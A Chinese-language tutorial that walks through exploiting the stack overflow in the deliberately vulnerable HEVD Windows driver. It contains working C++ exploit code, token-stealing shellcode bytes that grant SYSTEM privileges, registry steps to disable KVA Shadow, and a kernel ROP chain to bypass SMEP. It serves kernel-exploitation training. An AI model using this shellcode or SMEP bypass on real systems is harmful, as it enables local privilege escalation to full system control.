在上一篇中了解了与内核的交互模式,这里就可以开始做HEVD了
编写交互模块
A. 计算IO_CTL值
其实不用这步,但是可以当作更多的了解
在之前的交互中有这么一条定义功能号
#define IOCTL_MUL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x9888, METHOD_BUFFERED, FILE_ANY_ACCESS)
但是...HEVD逆向会发现是这样的
发现CTL_CODE
也是个宏定义
#define CTL_CODE( DeviceType, Function, Method, Access ) ( \
((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \
)
其中,这里
- DeviceType -> FILE_DEVICE_UNKNOWN = 0x22
- Function -> = 0x9888
- Method -> METHOD_BUFFERED=0
- Access -> FILE_ANY_ACCESS=0
表达式就为
(0x22 << 16) | (0 << 14) | ( 0x9888 << 2) | 0
= 0x220000 | 0 | 0x9888 << 2 | 0
= 0x220000 | 0x9888 << 2
= 0x226220
很容易得到逆向,这里以0x226220
为例子
0x205B = 0x22205B ^ 0x220000
0x816 = 0x205B>>2
那么对应的函数
unsigned int io2num(unsigned int ioctl_num) {
return ((ioctl_num ^ 0x220000) >> 2) & 0xfff;
}
后面之所以要&一下是因为数据的大小就只有那么大,所以(上)的描述符0x9888
实际有效的只有0x888
B. 功能选择
这里就以HEVD最简单的内核栈溢出举例子
每开始一个漏洞利用就编写一个菜单,然后选择解析逆向出来的功能描述符,运行对应函数,没啥好讲的
void menu() {
cout << "============HEVD Hack EXP============\n";
cout << " 1. [0x222003]****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n";
cout << "input io ctl> ";
}
int main()
{
HANDLE hDevice = NULL;
hDevice = CreateFileW(L"\\\\.\\My1DeviceLinker", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
cout << "Error Create File\n";
return 0;
}
unsigned int io_ctl = 0;
menu();
scanf_s("%x", &io_ctl);
printf("%x, %x", io_ctl, io2num(io_ctl));
switch (io_ctl)
{
case 1: {
cout << "Now Excuting ...\n";
cout << "1. [0x222003]****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ****** ...\n";
//
// EXP FUNCTION HERE
//
}
default:
break;
}
}
C. 简单与功能交互
这里要传一个空间和大小过去,这里用的到方式就是上一篇的IOCTL方式
这里我把所有的exp定义在exp.c
void StackOverflow(HANDLE hDevice, unsigned int ioctl) {
char stackspace[0x50] = "aaaaa\0";
unsigned int size = 0x30;
DWORD info = 0;
DeviceIoControl(hDevice, ioctl, stackspace, sizeof(DWORDLONG), &size, sizeof(DWORDLONG), &info, NULL);
std::cout << "IO Complete\n";
}
驱动定义了一个2048大小的栈空间v5
,但是写入的空间是我们可以控制的,尝试触发漏洞
void StackOverflow(HANDLE hDevice, unsigned int ioctl) {
char stackspace[0x1000] = { 0 };
unsigned int size = 0x1000;
RtlFillMemory(stackspace, size, 'A');
DWORD info = 0;
DeviceIoControl(hDevice, ioctl,
stackspace, size,
NULL, 0,
&info, NULL);
printf("info: %d\n", info);
std::cout << "IO Complete\n";
}
D. 开始调试
之前符号表好像没加载上,在windbg中,HEVD的描述符一般在同级文件夹下
.sympath+ <pdb文件物理机上的路径>
然后再
lm m HEVD
x /D /f HEVD!*
下个断点
bp HEVD!TriggerBufferOverflowStack
这里运行下不崩溃的
I. Windbg 调试常用
在使用Windbg调试内核驱动程序时,你可以使用以下命令查看内存地址:
-
64位查看内存
dq <内存地址> L <要查看的长度,长度是64位为一组>
-
64位查看内存,单列显示,这在查看栈的情况是比较好用
dqs <内存地址> L <要查看的长度,长度是64位为一组>
-
在某处添加断点
bp <内存虚拟地址>
bp <模块名>!<函数名> //bp: break point 如 bp HEVD!TriggerBufferOverflowStack
-
查看所有断点
bl
-
快速反汇编,适合查看gadget
u <内存地址>
-
反汇编该地址对应的一段汇编,适合反汇编这段函数后选择断点
uf <内存地址> uf <模块名>!<函数名>
-
计算器
? <计算表达式>
II. 内存布局
void StackOverflow(HANDLE hDevice, unsigned int ioctl) {
char stackspace[0x1000] = { 0 };
unsigned int size = 0x80;
RtlFillMemory(stackspace, size, 'A');
DWORD info = 0;
DeviceIoControl(hDevice, ioctl,
stackspace, size,
NULL, 0,
&info, NULL);
printf("info: %d\n", info);
std::cout << "IO Complete\n";
}
如果引发溢出的话,看看kernel中的v5
变量的布局
这里的kernelBuffer就相当于用户模式下的“栈帧”
同时可以看到我们程序的内存
这个时候顺便看一下rbp
在pop
前下断点再运行到
所以是rsp+0x20+0x818就得到ret的地址
很明显这里可以通过栈溢出劫持返回地址,然后实现我们的shellcode
III. 布置构思
- 首先 驱动是64位,所以要用64位的思维去布局
- 其次,驱动和我们的程序内存之间是能访问的,所以我们在Ring3写shellcode,然后覆盖到Ring0去执行
那么就是
"a"*0x810+p64(shellcode_addr)
Shellcode+exp编写
A. shellcode
主要是用这篇:Exploiting Windows 10 Kernel Drivers - Stack Overflow 或者里面参考的两篇
主要目的就是拿去Token然后替换掉一个cmd.exe的Token实现提权,在下一篇文章中会详细提到
This time around we will pass the PID into the shellcode, which means that our tweaked shellcode will look like this:
[BITS 64] push rax push rbx push rcx push rsi push rdi mov rax, [gs:0x180 + 0x8] ; Get 'CurrentThread' from KPRCB mov rax, [rax + 0x220] ; Get 'Process' property from current thread next_process: cmp dword [rax + 0x2e0], 0x41414141 ; Search for 'cmd.exe' process ('AAAA' replaced by exploit) je found_cmd_process mov rax, [rax + 0x2e8] ; If not found, go to next process sub rax, 0x2e8 jmp next_process found_cmd_process: mov rbx, rax ; Save our cmd.exe EPROCESS for later find_system_process: cmp dword [rax + 0x2e0], 0x00000004 ; Search for PID 4 (System process) je found_system_process mov rax, [rax + 0x2e8] sub rax, 0x2e8 jmp find_system_process found_system_process: mov rcx, [rax + 0x358] ; Take TOKEN from System process mov [rbx+0x358], rcx ; And copy it to the cmd.exe process pop rdi pop rsi pop rcx pop rbx pop rax ; return goes here
B. EXP
void StackOverflow(HANDLE hDevice, unsigned int ioctl) {
char stackspace[0x1000] = { 0 };
char shellcode[256] = {
0x50, 0x53, 0x51, 0x56, 0x57, 0x65, 0x48, 0x8b, 0x04, 0x25,
0x88, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x80, 0x20, 0x02, 0x00,
0x00, 0x81, 0xb8, 0xe0, 0x02, 0x00, 0x00, 0x41, 0x41, 0x41,
0x41, 0x74, 0x0f, 0x48, 0x8b, 0x80, 0xe8, 0x02, 0x00, 0x00,
0x48, 0x2d, 0xe8, 0x02, 0x00, 0x00, 0xeb, 0xe5, 0x48, 0x89,
0xc3, 0x83, 0xb8, 0xe0, 0x02, 0x00, 0x00, 0x04, 0x74, 0x0f,
0x48, 0x8b, 0x80, 0xe8, 0x02, 0x00, 0x00, 0x48, 0x2d, 0xe8,
0x02, 0x00, 0x00, 0xeb, 0xe8, 0x48, 0x8b, 0x88, 0x58, 0x03,
0x00, 0x00, 0x48, 0x89, 0x8b, 0x58, 0x03, 0x00, 0x00, 0x5f,
0x5e, 0x59, 0x5b, 0x58, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};
DWORD oldProtect;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
unsigned int size = 0x820;
RtlFillMemory(stackspace, 0x810, 'A');
*(unsigned long long*)(stackspace + 0x818) = (unsigned long long)shellcode;
DWORD info = 0;
VirtualProtect(shellcode, 256, PAGE_EXECUTE_READWRITE, &oldProtect);
printf("[*] Spawning a new cmd.exe process\n");
si.cb = sizeof(STARTUPINFOA);
if (!CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, true, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
printf("[!] FATAL: Error spawning cmd.exe\n");
return;
}
printf("[*] Updating our shellcode to search for PID %d\n", pi.dwProcessId);
*(DWORD*)((char*)shellcode + 27) = pi.dwProcessId;
DeviceIoControl(hDevice, ioctl,
stackspace, size,
NULL, 0,
&info, NULL);
printf("info: %d\n", info);
std::cout << "IO Complete\n";
}
然后到ret返回,查看返回地址
k
发现返回地地址已经被覆盖了,继续走下去
跳转到了shellcode了,再走两步
???
说我在执行不可执行的内存,但是明明已经VirtualProtect(shellcode, 256, PAGE_EXECUTE_READWRITE, &oldProtect);
???越来越离谱了
尝试把shellcode移动到常量内存中试试,还是不行,接着我再进行ioctl之前pause一下,好像可以了
但是依然被说执行不可执行代码
新的保护机制
查了其他的解法,发现Windows 8过后微软添加了一个叫做SMEP保护的东西
你可以在这里查到关于Windows的所有保护机制:https://learn.microsoft.com/zh-cn/windows/security/threat-protection/overview-of-threat-mitigations-in-windows-10
- 监督器模式执行防护 (SMEP) :帮助防止内核 (“监督器”) 在用户页面中执行代码,这是攻击者用于本地内核提升特权 (EOP) 的常见技术。 此配置需要在 Intel Ivy Bridge 或更高版本处理器中找到处理器支持,或者具有 PXN 支持的 ARM。
尝试关闭该保护后执行exp,但是发现是无法关闭的,由于内核的整体设计导致该保护在windows8及以上是不能被关闭的,那么就只能想办法绕过了
A. SMEP保护机制及手动绕过
该保护机制强烈依赖于CPU的RC4
寄存器,刚好我这里有《英特尔® 64 位和 IA-32 架构开发人员手册合订本》,翻出来看一下
[机翻]从用户模式地址获取指令。
访问权限取决于 CR4.SMEP 的值:
• 如果CR4.SMEP = 0,访问权限取决于分页模式和IA32_EFER.NXE 的值:
— 对于 32 位分页或如果 IA32_EFER.NXE = 0,则可以从任何用户模式获取指令
地址。
— 对于 IA32_EFER.NXE = 1 的其他分页模式,可以通过每个分页结构条目中 XD 标志为 0 的转换从任何用户模式地址获取指令
控制翻译; 指令可能无法从任何用户模式地址获取
在任何控制转换的分页结构条目中 XD 标志为 1 的转换。
• 如果CR4.SMEP = 1,则不能从任何用户模式地址获取指令。
— 仅允许对管理员模式影子堆栈地址进行管理员模式影子堆栈访问
(往上看)。
或许我们将CR4.SMEP
的值设置为0
就关闭了SMEP保护
CR4寄存器的结构如下(小端序顺序从右向左):
不急,继续搜索发现了一份Intel关于SMEP的更详细的描述
尝试使用调试起修改CR4
如果修改第20位为0,rc的值为0x270678
,然而还是不行
B. KVAS
Windows内核缓解机制使用了Kva Shadow内存,比如MeltDown漏洞就于此有关,首先不会讲细节,在下一篇文章会讲到,尝试将其关bi
再注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
创建两个DWORD值:FeatureSettingsOverride
FeatureSettingsOverrideMask
设置值为3,然后重启
现在手动设置cr4.SMEP为0
终于运行了
shellcode的一些偏移有问题
更换为
BYTE cmd[256] = {
0x48, 0x31, 0xc0, 0x65, 0x48, 0x8b, 0x80, 0x88, 0x01, 0x00,
0x00, 0x48, 0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x89,
0xc1, 0x48, 0x8b, 0x80, 0x48, 0x04, 0x00, 0x00, 0x48, 0x8b,
0x00, 0x48, 0x8b, 0x50, 0xf8, 0x49, 0x89, 0xc0, 0x48, 0x8b,
0x00, 0x48, 0x83, 0xfa, 0x04, 0x75, 0xf0, 0x49, 0x8b, 0x50,
0x70, 0x48, 0x83, 0xe2, 0xf8, 0x49, 0x8b, 0x89, 0xb8, 0x04,
0x00, 0x00, 0x48, 0x83, 0xe1, 0x07, 0x48, 0x01, 0xca, 0x49,
0x89, 0x91, 0xb8, 0x04, 0x00, 0x00, 0x65, 0x48, 0x8b, 0x04,
0x25, 0x88, 0x01, 0x00, 0x00, 0x66, 0x8b, 0x88, 0xe4, 0x01,
0x00, 0x00, 0x66, 0xff, 0xc1, 0x66, 0x89, 0x88, 0xe4, 0x01,
0x00, 0x00, 0x48, 0x8b, 0x90, 0x90, 0x00, 0x00, 0x00, 0x48,
0x8b, 0x8a, 0x68, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78,
0x01, 0x00, 0x00, 0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00,
0x48, 0x8b, 0xaa, 0x58, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f,
0x01, 0xf8, 0x48, 0x0f, 0x07, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};
EXP
void StackOverflow(HANDLE hDevice, unsigned int ioctl) {
char stackspace[0x1000] = { 0 };
DWORD oldProtect;
printf("[*] Start Exploit\n");
LPVOID shellcode_addr = VirtualAlloc(NULL,
sizeof(cmd),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(shellcode_addr, cmd, sizeof(cmd));
unsigned int size = 0x820;
RtlFillMemory(stackspace, 0x810, 'A');
*(unsigned long long*)(stackspace + 0x818) = (unsigned long long)shellcode_addr;
DWORD info = 0;
printf("shellcode space %p\n", shellcode_addr);
printf("[*] Spawning a new cmd.exe process\n");
system("pause");
DeviceIoControl(hDevice, ioctl,
stackspace, size,
NULL, 0,
&info, NULL);
printf("info: %d\n", info);
system("cmd.exe");
}
调试中手动CR4.SMEP=0(注意,之前已经关闭了KVA)
C. 使用内核ROP绕过SMEP
首先我们需要一个类似于mov rc4,xxx
的rop,让rc4.smep=0
,
参考在Linux下进行ROP的经验, payload大致长这样的
*(unsigned long long*)(stackspace + 0x818) = (unsigned long long)pop_rcx_ret;
*(unsigned long long*)(stackspace + 0x820) = (unsigned long long)0x00000000002506f8; //set RCX = currentRC4
*(unsigned long long*)(stackspace + 0x828) = (unsigned long long)mov_rc4_rcx_ret;
*(unsigned long long*)(stackspace + 0x830) = (unsigned long long)shellcode_addr;
多调试或者编程自动寻找就可以找到了,这里暂时参考HEVD Exploits – Windows 10 x64 Stack Overflow SMEP Bypass
修改EXP
unsigned int size = 0x840;
RtlFillMemory(stackspace, 0x810, 'A');
*(unsigned long long*)(stackspace + 0x818) = (unsigned long long)0xfffff807743f52c0;
*(unsigned long long*)(stackspace + 0x820) = (unsigned long long)0x00000000002506f8; //set RCX = currentRC4
*(unsigned long long*)(stackspace + 0x828) = (unsigned long long)0xfffff807749a41cf;
*(unsigned long long*)(stackspace + 0x830) = (unsigned long long)shellcode_addr;
printf("[*] Start set ROP\n");
没有下断点直接过
遗留
下一篇
- user编程寻找ROPGadget
- shellcode编写
- Token提权
- KVAS
参考
https://www.bilibili.com/video/BV1pD4y1a7hP/
https://www.cnblogs.com/XiuzhuKirakira/p/16995784.html
https://blog.xpnsec.com/hevd-stack-overflow
https://h0mbre.github.io/HEVD_Stackoverflow_SMEP_Bypass_64bit
https://joe1sn.eu.org/2023/02/17/windows_kernel_driver_2/